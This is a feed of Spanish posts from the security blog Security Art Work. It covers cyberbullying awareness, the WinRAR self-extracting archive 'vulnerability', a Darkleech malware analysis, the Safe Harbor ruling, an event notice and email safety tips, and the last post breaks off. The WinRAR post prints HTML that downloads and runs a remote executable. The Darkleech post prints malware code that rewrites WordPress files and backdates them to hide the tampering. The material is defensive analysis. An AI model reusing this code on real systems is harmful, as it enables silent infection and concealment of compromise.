¡Pierde 6 Kg en dos semanas y sin esfuerzos!, ¡consigue un moreno excepcional en tres sesiones!, ¡recupera el blanco de tus dientes en 10 minutos!, ¡aprende inglés con 123 palabras!,…

Queridos lectores: ¿tenemos tanta prisa?, ¿tenemos tan poco tiempo?

No os voy a engañar, a mí también me gusta que me atiendan rápido, no tener que esperar en largas colas, que el pedido de Amazon me llegue mañana a primera hora y, en general, poder ver resultados a corto plazo. Pero hay otras cuestiones que requieren que seamos un poco más pacientes para obtener su beneficio. Pongamos por ejemplo: la educación, la formación, la concienciación,…

Recientemente leía una noticia en ElPaís.com que situaba a España en buena posición en lo que a la protección frente al ciberacoso se refiere, por delante de países como Reino Unido, Alemania e Italia, entre otros. El estudio realizado indicaba que los niños españoles eran los que menos ciberacoso sufrían. Me parece una buena noticia principalmente por dos motivos: en primer lugar, por lo positivo del contenido, y en segundo lugar, por el papel que jugamos en esta escena. Creo que si hemos llegado a este punto, ha sido gracias al esfuerzo de muchos de nosotros, cada uno con su granito de arena.

Es posible que las acciones de formación y concienciación no tengan cabida en un enfoque cortoplacista, pero si queremos difundir una cultura de seguridad deberemos hacer ese esfuerzo; esa inversión afecta a un ámbito mucho más amplio que el empresarial; tiene que ver con la sociedad en general y con nosotros en particular, tanto si consideramos un enfoque como empleados o como ciudadanos.

A menudo se ejecutan proyectos para incrementar la sensibilidad respecto a la seguridad de la información, pero no siempre se dispone de métricas e indicadores para contrastar la mejora obtenida. Esto lleva a muchos responsables a plantearse la cuestión que da título al artículo: ¿vamos por buen camino?

Tal y como ocurre con las campañas antitabaco o las relacionadas con la seguridad vial, los resultados que se derivan de las acciones de “educación” y concienciación en materia de seguridad no son todo lo inmediatos que nos gustaría que fueran, pero poco a poco se dejan ver a través de los memorandos, informes y estadísticas que nos ofrecen tanto organismos oficiales como empresas del sector privado.

Convencidos de la importancia de estos temas, hemos considerado oportuno recopilar algunas de nuestras participaciones relacionadas con la protección frente al ciberacoso:

• http://www.hijosdigitales.es/2014/09/de-nuevo-al-cole-%C2%BFme-librare-del-ciberacoso/
• http://www.hijosdigitales.es/2013/07/ciberacoso-un-caso-real-con-final-feliz-y-solucion-legal/
• http://www.hijosdigitales.es/2013/02/del-cotilleo-al-ciberacoso/

Muchos de nosotros consideramos que en estos aspectos queda mucho por recorrer… no obstante, parece que vamos por el buen camino. Sigamos.

[Sobre Samuel Segarra]

La entrada ¿Vamos por el buen camino? aparece primero en Security Art Work.

(Este post ha sido elaborado por Luis Martín Liras y Aaron Flecha Menéndez)

El pasado Martes 29 se hacía público por parte del investigador Mohammad Reza Espargham una “vulnerabilidad” (si, con comillas) de ejecución remota de código en la aplicación Winrar para Windows. En concreto en su explicación se mencionaba que la “vulnerabilidad” estaba presente en la última versión (5.21) para windows tanto para 32 como para 64 bits.

Como si de una bola de nieve se tratase, se fue expandiendo la noticia por toda la red y muchas empresas, entidades y sitios web la explicaron como si una importante vulnerabilidad se tratara. Y no es para menos, podría tratarse de un grave problema si no fuera por una serie características que la limitan.

Pero desde entonces muchos investigadores de más o menos renombre han proclamado que no se trata de una vulnerabilidad. De hecho, en una nota del equipo de soporte de Winrar, se hacía saber que muchas de las cosas que se estaban escribiendo eran inciertas.

Pero veamos de qué va todo esto. En las primeras noticias leíamos que “La vulnerabilidad puede ser utilizada por un atacante para insertar código HTML dentro de la sección ‘Text to display’ (en español ‘Texto e iconos’) cuando un usuario esté creando un fichero SFX“. Para los que no lo sepan, un fichero SFX es un fichero ejecutable (es decir, con extensión .exe) que contiene uno o más ficheros comprimidos en su interior.

Siguiendo las instrucciones de Mohammed Reza, para conseguirlo había que descargarse la aplicación Winrar 5.21 para Windows (cualquier otra versión también valdría, incluso la 5.3, que es la última), hacer clic con el botón derecho sobre un fichero y escoger la opción “Añadir al archivo…“, lo que abre el compresor Winrar.

Una vez abierto, seleccionaremos la opción “Crear un archivo autoextraíble”.

…y en la solapa “Avanzado”, al hacer clic en el botón “Autoextraible“:

…metemos código HTML similar a este en el campo “Texto a mostrar en la ventana“.

Esto crea un fichero ejecutable que en su interior contiene un fichero comprimido, en este caso un ebook. El fichero resultante es un fichero ejecutable .EXE con formato SFX, es decir: un fichero comprimido autoextraíble.

La vulnerabilidad se basa en que al ejecutar este fichero .EXE, la URL indicada en el código HTML antes mencionado se descarga y con la opción “refresh” se ejecuta. Entonces, si la URL que le hemos puesto es, como en este caso la web de Google, al abrir el fichero SFX nos mostrará dicha página en el navegador integrado que tiene el Winrar:

Tras una serie de pruebas, nos enteramos de que se trata del navegador del sistema:

…y tras algunas pruebas vemos que es un navegador bastante capado:

• No acepta scripts de javascript.
• Tampoco maneja bien las URLS HTTPS.

Pero si con ese navegador incrustado somos capaces de mostrar HTML, la idea de Mohammed Reza fue: ¿y descargar un malware? Pues claro, muy fácil.

Por ejemplo, con este código HTML descargamos y ejecutamos el putty, de la URL earth.li:

<html>
<head>
<title>poc</title>
<META http-equiv="refresh" content="0; URL="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe">
</head>
</html>

Y lo cierto es que lo descarga y lo ejecuta:

…no sin antes avisarnos de que es un fichero .exe que puede dañar el equipo.

Es decir, que al final no es tan silencioso como se nos muestra en su vídeo demostración.

¿Podríamos evitar esto? Mohammed Reza, en su prueba de concepto, hizo que el ejecutable estuviera en el propio equipo del usuario atacado y mediante la ejecución de código PHP, creaba un pseudo servidor web. Pensamos que probablemente así no nos mostraría este mensaje de aviso, así que probamos a hacer lo mismo. Instalamos un servidor HTTP muy simple en la propia máquina, pusimos una URL local y…. nos salió el mismo mensaje (la configuración que tenemos en nuestro equipo es la que viene por defecto en un Windows 7).

Lo cierto es que, pensamos, aun así podría ser un problema de seguridad. Ya sabemos que nunca se debe menospreciar la capacidad de los usuarios para…, bueno, ya imaginan para qué. Pero el antivirus lo detectará, ¿no? Pues decidimos probarlo.

Se le inyectó la URL del último malware detectado en malc0de database.

y esto fue lo que nos salió en virustotal:

Ningún antivirus detectó que fuera un ejecutable malicioso. Y lo cierto es que no lo es, pero tiene una URL hacia un fichero malicioso. Nada más.

(Nota: En una segunda prueba realizada dos días mas tarde, solo 2/56 detectaron el ejecutable como malicioso, indicando que se trataba de un dropper).

El problema es que el Winrar lo ejecuta, pero no sin antes avisarte antes de que este fichero podría afectar a tu ordenador.

Si volvemos al principio de todo este rollo, comentábamos que Winrar tenía una “vulnerabilidad”, con comillas. Desde Winrar se dicho por activa y por pasiva que no se trata de una vulnerabilidad sino de una “feature”, una característica. Es (o eso pretende ser) una forma de poder documentar lo que esta comprimido mediante HTML.

Personalmente creo que el tener un navegador integrado no es necesario, pero lo que está claro en nuestra opinión es que la gente de Winrar ha dicho que no es una vulnerabilidad y por tanto no va a sacar CVE ni va a haber ni siquiera una nueva versión capando esta “feature“.

Y la verdad es que tienen bastante razón. Para que una persona pueda infectarse mediante un fichero autoextraíble de Winrar deben pasar muchas cosas:

1. Debe recibir un correo electrónico con un fichero .EXE adjunto. Todos los clientes de correo y la mayoría de los webmail lo habrían ya filtrado.
2. El usuario debe ejecutar el fichero .exe que viene en el correo, pese a que es la primera regla de seguridad que enseñan en el parvulario.
3. El usuario debe hacer caso omiso de los avisos que el sistema operativo muestra y que antes hemos visto.
4. El malware descargado y ejecutado debe burlar las medidas de seguridad (antivirus, etc.) instalados en el sistema. Este es casi el paso más simple de los cuatro.

Pero es que no sólo es esto, porque resulta que Winrar es la aplicación perfecta para hacer troyanos de pega. Si nos fijamos, en la solapa “Instalación”, cuando le damos al botón autoextraíble, hay dos campos: “Ejecutar antes de la extracción” y “Ejecutar después de la extracción”:

En esos campos se pueden introducir scripts powershell o lo que queremos que se ejecute en la máquina destino. Entonces, ¿para qué necesitamos descargar un malware de una página rusa?

Lo que parece claro es que Winrar se ha convertido en la herramienta perfecta para script kiddies para crear malware. Con unas líneas de HTML y algo de conocimientos de Powershell, un chaval podría utilizar Winrar (sin necesidad de usar la funcionalidad que hoy nos ocupa) para abrir una puerta trasera en el ordenador comprometido.

Lo siguiente que pensamos fue en cómo aprovecharnos de este tema, siempre desde la perspectiva de que el usuario está recibiendo un fichero .exe que tiene que ejecutar.

SEO

Una “utilidad” que nos pareció posible es su utilización para mejorar el SEO. Imaginemos que tenemos un blog donde ofrecemos software, se entiende que pirateado, y ofrecemos descargarlo comprimido con Winrar y autoextraíble (cosas más raras se han visto).

Por cada ejecución del software descargado (que aunque pirateado es legítimo), esta funcionalidad de Winrar nos permitiría añadir visitas a cuantas páginas queramos durante el tiempo que el usuario tarda en decir que quiere descomprimir el fichero y se cierra el pseudo navegador. Pero lo suficiente para conseguir algunas visitas a nuestras páginas.

CSRF

Otra posible utilidad es un ataque CSRF contra un servicio al que el usuario que recibe el fichero SFX esta logado. Nosotros hicimos una prueba contra un servicio propio y funcionó (lógicamente) muy bien:

Probablemente haya mil maneras más de utilizar Winrar con fines maliciosos, pero la cuestión es que si vamos a conseguir que nuestra víctima ejecute un .EXE, lo que no tiene sentido es que lo hagamos con un fichero SFX de Winrar.

CONCLUSIÓN

Respondiendo a la pregunta que nos hacíamos: ¿se trata de una vulnerabilidad?, nuestra opinión es que no. No es una vulnerabilidad de código; Winrar está correctamente escrito, por lo que se trata de un aprovechamiento malicioso de una funcionalidad existente y legítima de Winrar.

¿Deberíamos estar preocupados? Creemos que no. Parece poco probable que nadie pueda mandarnos un fichero ejecutable por correo, lo abramos y hagamos caso omiso de los avisos.

Es más, si nos están mandando un fichero ejecutable y lo vamos a abrir, ¿por qué no se ahorran todo el lío y nos mandan directamente el fichero infectado?

La entrada La “vulnerabilidad” de Winrar aparece primero en Security Art Work.

(Los dominios y nombres de usuario que se describen en este post son ficticios, con el fin de proteger la identidad de los reales)
Una de las tareas habituales a la hora de buscar posibles infecciones es analizar el trafico de navegación web (proxy) en busca de contactos con dominios de carácter dinámico (dyndns, no-ip.org, etc…).

En una de estas búsquedas se ve el contacto con un dominio dinámico sospechoso desde la página www.hospitales.com:

2015-08-09 10:53:40 191.226.176.112 Pgarcia - "none" http://www.hospitaless.com/en/index.php  0 - GET http yyuewv.hopto.org 80 /wordpress/ 633 409

El dominio está inactivo, pero queremos analizar las peticiones que se hacen al visitar esta web. Para ello, uso un analizador como Burp:

Se busca la cadena “hopto.org” en el código fuente del portal y se analizan las peticiones HTTP  que se hacen desde la web, pero no vemos nada extraño. Ocurre lo mismo al abrir la web desde un navegador (Google Chrome) en una máquina virtual y visualizar su código fuente. Es curioso, porque la petición es reciente y en el código fuente de la  web no se aprecia ninguna referencia a un dominio dinámico.

Para poder emular otros User Agent se instala en el navegador una extensión llamada Chrome UA Spoofer. Al cambiar el User Agent a Internet Explorer 8 (IE8) en el navegador es cuando aparece el enlace malicioso y esta vez es diferente:

Al actualizar la página (F5) desaparece pero al intentar volver a acceder con otra dirección IP y habiendo limpiado la caché del navegador previamente, aparece un nuevo enlace de carácter dinámico sospechoso, y vuelve a ser diferente:

Este nuevo dominio es bloqueado por Google Chrome al intentar acceder por su peligrosidad:

Se intenta descargar el recurso mediante Wget emulando el User Agent como Internet Explorer pero no existe el recurso:

Al intentar navegar desde una maquina virtual con Internet Explorer y usando Wireshark para capturar el tráfico se obtiene como respuesta 404:

El código fuente  de la Web cuando se visita con un User Agent distinto a Internet Explorer es este:

Y este es el código cuando se visita con Internet Explorer:

En el código fuente se observa “position:absolute;top:-771px”, que siempre asocia posiciones aleatorias negativas absolutas y “<meta http-equiv=’x-ua-compatible’ content= ’IE=EmulateIE9’” consiguiendo que la página se muestre como si tuviéramos Internet Explorer 9, a pesar de visitar la URL emulando Internet Explorer 8.

Más peligroso es el caso en el que un navegador está actualizado y se fuerza a trabajar como si fuera Internet Explorer 9, confiando en que al estar actualizado no va a ser vulnerable. El funcionamiento detallado de esta clausula se detalla en este enlace. Esto se hace por ejemplo para explotar la vulnerabilidad CVE-2014-1776 en navegadores Internet Explorer.

Las pautas de comportamiento vistas hasta ahora  están asociadas con un tipo de infección llamada Darkleech, donde el iframe  visto antes  es generado de forma aleatoria e insertado en el código en tiempo de ejecución. Una vez insertado el iframe se activa una cuenta atrás en la que minutos después el dominio es desactivado.

En el caso de usarse WordPress  como CMS, el código se suele introducir en wp-includes/NAV-menu.php, y normalmente se suele comprometer un plugin llamado RevSlider (revolution slider)

También se ha visto que Darkleech es capaz de modificar módulos de Apache para interactuar desde la raíz del servidor. En el año 2013 este malware atacaba principalmente a sitios wordpress, pero en  las últimas variantes se han visto afectadas hasta webs con HTML estático. Darkleech recopila una lista negra de direcciones IP, para que el Iframe no sea generado dos veces por la misma dirección IP. Además  modifica las coockies para que se recuerde un acceso anterior.

Con la extensión para Google Chrome EditThisCoockie se puede editar la cookie concreta, para evitarlo:

(Se cambia el valor de -1 a 1)

En todos los casos donde se ha cambiado la dirección IP (gracias a TOR) y se han evadido las cookies se generaba un iframe con un patrón fácilmente reconocible: “wordpress/?bf7N&utm_source=le”. 

Una simple búsqueda en nerdydata.com arroja 64 resultados distintos:

Solo queda sacar un rato para investigar y dar con una web en la que el enlace de redirección generado esté activo, e investigar que tipo de exploit usa (Angler, EK Fiesta EK etc…) y que regalito nos descarga.

Una vez que se genera el iframe  y se activa uno de los dominios, se intenta averiguar a que dirección IP apunta:

ping nuztsywrf.ddnsking.com
PING nuztsywrf.ddnsking.com (185.63.189.115) 56(84) bytes of data.

La búsqueda de información relativa a la dirección IP 185.63.189.115 en el último mes  da como resultado un análisis interesante de un ramsonware alphacrypt que se puede leer en el siguiente enlace, asociado a un exploit kit angler EK. En el Pcap que se puede descargar del mismo enlace se ve como la petición en este caso da  como respuesta un 200 OK:

Viéndose más tarde el Angler EK asociado:

Un código usado por Darkleech (menos actualizado) completo se puede ver en el siguiente enlace. A continuación vamos a analizar por encima el código para entender un poco la forma de actuar de este tipo de código malicioso, que seguramente sea parecido al pseudo-darkleech encontrado antes.

Básicamente se busca la modificación de wp-includes/NAV-menu.php incluyendo dentro el código del enlace. Hay que tener en cuenta que en las soluciones para descubrir una infección por Darkleech se propone en la mayoría de las ocasiones diferenciar si un archivo ha sido modificado, pero hay parte del código que se encarga de enmascarar estos cambios.

La primera función recorre los ficheros wp-*.php (los de la instalación de WordPress):

function my_time($dir) {
     foreach (glob($dir . '/wp-*.php') as $f) {
         $times[] = filemtime($f);
     }
     $max = 1;
     for ($i = 0; $i < count($times) - 1; $i++) {
         $k = 1;
         for ($j = $i + 1; $j < count($times); $j++) {
             if ($times[$i] == $times[$j]) {
                 $k++;
                 if ($k > $max) {
                     $max = $k;
                     $time = $times[$i];
                 }
             }
         }
     }
     return $time;
}

Una vez almacena la fecha de la instalación de WordPress, en la variable time, añade esa fecha a index.php, cambia los permisos a solo lectura y añade en su interior el contenido en base64:

function my_correct($dir) {
     $time = 0;
     $path = $dir . '/index.php';
     $content = base64_decode('PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==');
     if (file_get_contents($path) != $content) {
         chmod($path, 0644);
         file_put_contents($path, $content);
         chmod($path, 0444);
         $time = my_time($dir);
         touch($path, $time);
     }

En index.php cambia

include( dirname( __FILE__ ) . '/wp-blog-header.php' );

por

require( dirname( __FILE__ ) . '/wp-blog-header.php' );

El fichero .htaccess lo modifica también, cambiando la fecha por la mas antigua, dejándolo como de solo lectura y añadiendo dentro el código en base64:

$path = $dir . '/.htaccess';
           $content = base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==');
           if (file_exists($path) AND file_get_contents($path) != $content) {
               chmod($path, 0644);
               file_put_contents($path, $content);
               chmod($path, 0444);
               if (!$time) {
                   $time = my_time($dir);
               }
              touch($path, $time);
          }
       }
       my_correct(dirname(__FILE__) . '/..');

Incluyendo dentro:

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

Con esta condición se asegura de que siempre redireccione a index.php, aunque en la URL se pida otra ruta.

El siguiente paso es analizar la URL del sitio. Gracias a la función addaction de wordpress se ejecuta un hook, en este caso gracias a wp_footer añade código almacenado en un buffer al footer de la pagina (parte inferior), donde de una web legítima conocida extrae los 100 primeros caracteres (http://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css).

Antes de añadirse  se usa un código tipo MD5 (3e2b7254489da058817288025e2147e9), de tal forma que para permitir el acceso a diversas acciones  se haga de la forma http://[URL]?check=Codigo y una vez coincida se añade al footer. Los 100 caracteres.

Esto previsiblemente se hace para chequear de alguna forma si la web realmente ha sido comprometida.

Además cada vez que se recibe una petición HTTP al servidor analiza si la petición se realiza con una dirección IP de Google (74.125) o si es un  bot de Yahoo, Ask, Bing etc… para que no actúe de forma maliciosa. Lo mismo ocurre cuando analiza la cookie del usuario que visita la web y reconoce que ya ha sido visitada.

En caso de que no se cumplan las condiciones anteriores es ya cuando busca la sección body para añadir la url maliciosa. Para ello se hace un request a la URL y se ejecuta una expresión regular sobre el código que devuelve, además de crear la cookie para evitar que se genere dos veces en la misma visita.

Soluciones:

En caso de usar un CMS, hay que tenerlo actualizado al día. En caso de ser WordPress asegurarse de actualizar el plugin RevSlider en el siguiente enlace. Este tipo de malware suele crear una cuenta de administrador, por tanto una buena práctica es averiguar si las cuentas existentes son las que debieran.

Siempre se puede analizar navegado a  través de nuestra web (sin estar logeados ya que detecta cuando el administrador  está logeado y no explota), y analizar las trazas HTTP con wireshark (acordarse de usar User Agent IE).

Buscar ficheros PHP modificados recientemente (no vale con buscar con ls las ultimas modificaciones), como hemos visto antes lo mejor es hacer un diff con un backup de los ficheros que tengamos antes o directamente revisar .htaccess o NAV-menu.php.

Hay dos  plugin para wordpress muy interesantes que pueden evitar la infección:

• https://wordpress.org/plugins/wordfence/
• https://wordpress.org/plugins/sucuri-scanner/

Referencias:

• http://blog.unmaskparasites.com/2014/11/27/darkleech-update-november-2014/
• https://blog.sucuri.net/2015/03/pseudo-darkleech-server-root-infection.html?_ga=1.63491887.1045468234.1441634934
• http://malwarefor.me/2015-09-04-angler-ek-sends-alphacrypt-ransomware/
• http://www.securitybloggersnetwork.com/author/jose-barajas/
• http://triquetra-design.com/2015/06/server-injected-iframe-malware-links/
• https://blog.sucuri.net/2014/12/revslider-vulnerability-leads-to-massive-wordpress-soaksoak-compromise.html

La entrada Cita a ciegas con Darkleech aparece primero en Security Art Work.

Ayer, martes 6 de octubre de 2015, el Tribunal de Justicia de la Unión Europea declaró nula la Decisión 2000/520 de la Comisión Europea sobre “la adecuación conferida por los principios de puerto seguro para la protección de la vida privada”. El nivel adecuado de protección para la transferencia de datos desde la Unión Europea a Estados Unidos se alcanza si las empresas americanas cumplen con los principios de puerto seguro, respaldados por la Decisión de la CE mencionada anteriormente.

Un ciudadano austríaco denunció en 2013 ante la autoridad irlandesa competente en materia de protección de datos (Data Protection Comissioner) la transferencia de datos que hace la red social Facebook desde su filial en Irlanda a los servidores de la compañía situados en EEUU. Según este ciudadano, esa comunicación no garantizaba una protección suficiente de datos ya que toda información está sometida a la supervisión estatal. Esto se podía demostrar con las revelaciones que Edward Snowden iba filtrando. El Tribunal Superior de Irlanda (High Court), según se puede leer en las conclusiones del Abogado General, planteó esta denuncia al Tribunal de Justicia Europeo entendiendo que la resolución se debe a una normativa europea y por tanto es competencia de la Unión y no de un Estado miembro.

La sentencia en este aspecto es clara:

1) El artículo 25, apartado 6, de la de la Directiva 95/46/CE del Parlamento Europeo y del Consejo, 
de 24 de octubre de 1995, relativa a la protección de las personas físicas en lo que respecta al 
tratamiento de datos personales y a la libre circulación de estos datos, en su versión modificada 
por el Reglamento (CE) nº 882/2003 del Parlamento Europeo y del Consejo, de 29 de septiembre de 2003,
entendido a la luz de los artículos 7, 8 y 47 de la Carta de los Derechos Fundamentales de la Unión 
Europea, debe interpretarse en el sentido de que una Decisión adoptada en virtud de la referida 
disposición, como la Decisión 2000/520/CE de la Comisión, de 26 de julio de 2000, con arreglo a la 
Directiva 95/46, sobre la adecuación de la protección conferida por los principios de puerto seguro
para la protección de la vida privada y las correspondientes preguntas más frecuentes, publicadas por
el Departamento de Comercio de Estados Unidos de América, por la que la Comisión Europea constata que
un tercer país garantiza un nivel de protección adecuado, no impide que una autoridad de control de un
Estado miembro, a la que se refiere el artículo 28 de esa Directiva, en su versión modificada, examine 
la solicitud de una persona relativa a la protección de sus derechos y libertades frente al tratamiento 
de los datos personales que la conciernen que se hayan transferido desde un Estado miembro a ese tercer
país, cuando esa persona alega que el Derecho y las prácticas en vigor en éste no garantizan un nivel 
de protección adecuado.

2) La Decisión 2000/520 es inválida.

(Extraído de la sentencia del Tribunal de Justicia europeo)

 
En el apartado uno indica que es cada Estado miembro el que debe considerar si la transferencia de datos personales a los Estados Unidos se realiza garantizando un nivel de protección adecuado. En segundo lugar sentencia que la Decisión 2000/520 de la Comisión Europea es inválida. Una decisión que en su día se anunció como la solución para que las empresas americanas suscritas o que cumplían con los requisitos de puerto seguro pudiesen disponer de información de ciudadanos europeos al entender que ese protocolo daba unas garantías mínimas de protección y seguridad de datos. Una sentencia que causa precedente y que de algún modo pasa la “patata caliente” a los Estados miembro ya que son ellos quienes deben decidir si considera adecuada la protección de la información en la transferencia de datos a terceros países, en este caso a Estados Unidos.

¿Cuál será el primer país en dar el paso y exigir más medidas de protección a las empresas americanas para poder transferir datos de sus ciudadanos? ¿Algún país se va a levantar en contra de las grandes potencias como Facebook, Google, etc.?

Algunos aspectos más a destacar del análisis que realiza el Abogado General:

93. En este sentido, si bien una decisión adoptada por la Comisión en virtud de los poderes de 
ejecución que le confiere dicha disposición tiene por efecto permitir la transferencia de datos 
personales a un país tercero, dicha decisión no puede, en cambio, tener por efecto arrebatar todo 
poder a los Estados miembros y en particular a sus autoridades de control nacionales, o incluso 
limitar sus competencias, cuando se invoquen ante ellas supuestas violaciones de derechos 
fundamentales.

158. De dichos elementos resulta que el Derecho y la práctica de Estados Unidos permiten recopilar, 
a gran escala, los datos personales de ciudadanos de la Unión que son transferidos en el marco del 
régimen de puerto seguro, sin que éstos gocen de una tutela judicial efectiva.

159. Dichos hechos demuestran, en mi opinión, que la Decisión 2000/520 no contiene suficientes 
garantías. Dada tal falta de garantías, la aplicación de dicha Decisión no cumple los requisitos 
exigidos por la Carta y por la Directiva 95/46.

Con estas declaraciones el Abogado General deja clara su posición en contra de la transferencia de datos a EEUU según se rige actualmente por el principio de puerto seguro establecido en la Decisión 2000/520 (declarada nula ayer, 6 de octubre de 2015).

Y yo planteo… ¿En qué estado queda actualmente la información que después de esta decisión se sigue transfiriendo a día de hoy desde Europa a EEUU? ¿Cuál será el siguiente paso? ¿Y quién lo dará? Me cuesta pensar que las empresas americanas puedan garantizar una protección mayor, dada la legislación y el control estatal sobre la información en EEUU. Pero también me cuesta pensar que cada uno de los estados, concretamente el Estado español, legisle en contra de estas grandes empresas.

En las próximas fechas veremos que movimientos se van realizando en este aspecto que seguro que resultan interesantes.

Noticias que se hacen eco de esta resolución del Tribunal de Justicia Europeo: [1] [2] [3] [4]

La entrada Transferencia de datos a Estados Unidos. ¿Y ahora qué? aparece primero en Security Art Work.

Los días 14 y 15 de octubre va a tener lugar en la Escuela Técnica Superior de Ingeniería Informática de la Universidad Politécnica de Valencia el evento Techfest, enmarcado en la Semana de Graduaciones 2015.

Techfest es un evento orientado a difundir la cultura informática y tecnológica en la Universidad Politécnica de Valencia; Ponencias, charlas, talleres y concursos se dan cita durante los días 14 y 15 de octubre, donde profesionales del sector y alumnos de la universidad colaboran para dar lugar al mayor evento de tecnología del año.

¿Te gustaría aprender a diseñar tus propios juegos? ¿Siempre quisiste saber cómo funciona Arduino y empezar a desarrollar tus propios proyectos? ¿Interesado en la seguridad informática? Expertos del mundo profesional y alumnos de la escuela están a tu disposición en 12 charlas y 8 talleres simultáneos de acceso completamente gratuito:

Además, durante Techfest hay organizados dos concursos patrocinados por ESET y Geekshubs en los que podrás ganar una tablet o un pack de inicio a Arduino.

Consigue ya tus entradas y conoce el programa que hemos preparado para ti en http://techfest.es, ¡el aforo es limitado!

La entrada Techfest UPV aparece primero en Security Art Work.

Hoy en día existen días mundiales relacionados con cualquier tema. La mayoría de ellos están relacionados con la lucha por alguna causa justa, pero también hay días de lo más inverosímiles que, aunque parezca mentira, se celebran en algún lugar del mundo. Hay fechas que todos conocemos o hemos oído en algún momento como, por ejemplo, el día mundial contra el cáncer, que tiene lugar cada 4 de febrero, o el día internacional de la paz el 21 de septiembre. También hay otros días internacionales más desconocidos, pero que se celebran igualmente, como el día de los calcetines perdidos (sí, existe, y deberías celebrarlo porque sabes que a ti también te ha pasado) celebrado cada 9 de mayo o el día del orgullo friki, celebrado el 25 de mayo y con, cada vez, más adeptos.

Hoy, 9 de octubre, se celebra el día mundial del correo, día que bien podría formar parte de este segundo grupo de fechas, y no por peculiar, sino por desconocido.

Cuando hablamos de correo, ya sólo pensamos en el email. Pero, ¿existía vida antes del email? Cuenta la leyenda que antes la gente se comunicada mediante el correo normal, el de papel, enviándose cartas los unos a los otros, sin autocorrector, ni emoticonos, ni tipos de letra Times New Roman… y sin ni siquiera indicar un asunto, ¡a lo loco! … Escalofriante… Pero como mi intención no es meter miedo a nadie, os contaré, muy brevemente, el porqué del día mundial del correo.

Corría septiembre de 1874 cuando al alemán Heinrich von Stephan (sí, el de la izquierda) se le ocurrió la idea de crear una organización que regulara el correo a escala mundial. Tras varias negociaciones, el 9 de octubre de ese mismo año se fundaba la unión Postal Universal, que permitió la unificación de los servicios postales, promoviendo así las comunicaciones entre todos países. Y es por esto, que cada año, más de 150 países conmemoran cada año el día mundial del correo cada 9 de octubre.

Aprovechando este día, llevándolo a nuestro terreno digital, y teniendo en cuenta que todos nosotros tratamos el correo como un básico en nuestro día a día, os he preparado un top 5 de consejos que todo usuario de email debería aplicar para un uso seguro del mismo. Muchos de vosotros los tenéis más que requetesabidos, pero como un recordatorio nunca viene mal, ahí van:

1. Muchas de las infecciones se propagan a través de archivos adjuntos presentes en los correos. Es algo que les encanta a los ciberdelincuentes, ya que les sirven para propagar malware con un coste mínimo. La mayoría de adjuntos suelen ser programas ejecutables (.exe), pero también puedes encontrarte pdfs o ficheros comprimidos (.zip o .rar). Sé precavido y no abras archivos adjuntos procedentes de emails que no conozcas. Sospecha, igualmente, de aquellos que procedan de destinatarios conocidos, ya que muchos virus pueden falsear la dirección de envío y hacerte creer que vienen de alguien de confianza. Si, finalmente, decides abrirlo, analízalo con el antivirus (actualizado, por supuesto) para evitar cualquier infección.

2. Casi a diario oímos casos de nuevos correos fraudulentos que utilizan cualquier pretexto relacionado con una marca conocida, suplantando su identidad corporativa (también conocido como phishing), para obtener datos personales tales como contraseñas y datos bancarios. Por ejemplo, los famosos vales de 150€ que regalaba Mercadona este verano por, tan solo, rellenar una encuesta. En serio, ¿aún seguimos creyendo que alguien nos va a regalar 150€ por… ¿nada? Como dice el refrán, “nadie regala duros a cuatro pesetas”. Por ello, es importante saber detectar este tipo de correos, no contestarlos, no hacer click en los enlaces que incluyen y, ni mucho menos, rellenar los formularios que solicitan contraseñas, datos personales o datos bancarios. Este tipo de datos tan importantes nunca se solicitan a través del correo electrónico.

3. Las WiFis públicas gratuitas y los usuarios que no pueden pasar un momento sin conectarse a sus dispositivos forman un pack muy jugoso para los cibercriminales que ven una vía fácil y rápida para robar información de todos los dispositivos conectados. Lo más seguro es esperar y conectarse desde una red segura, pero si no puedes esperar y quieres conectarte es mejor que tomes precauciones a no ser que quieras ser una nueva víctima. Usa conexiones https si la página lo permite, el navegador nos indicará que estamos en una conexión cifrada apareciendo el símbolo del candado y, siempre que puedas, conéctate a través de una VPN. Si nada de esto te sirve, limítate a navegar sin introducir contraseñas ni realizar trámites que conlleven la transmisión de temas bancarios o datos confidenciales, y si es posible, desactiva la sincronización automática de tu dispositivo.

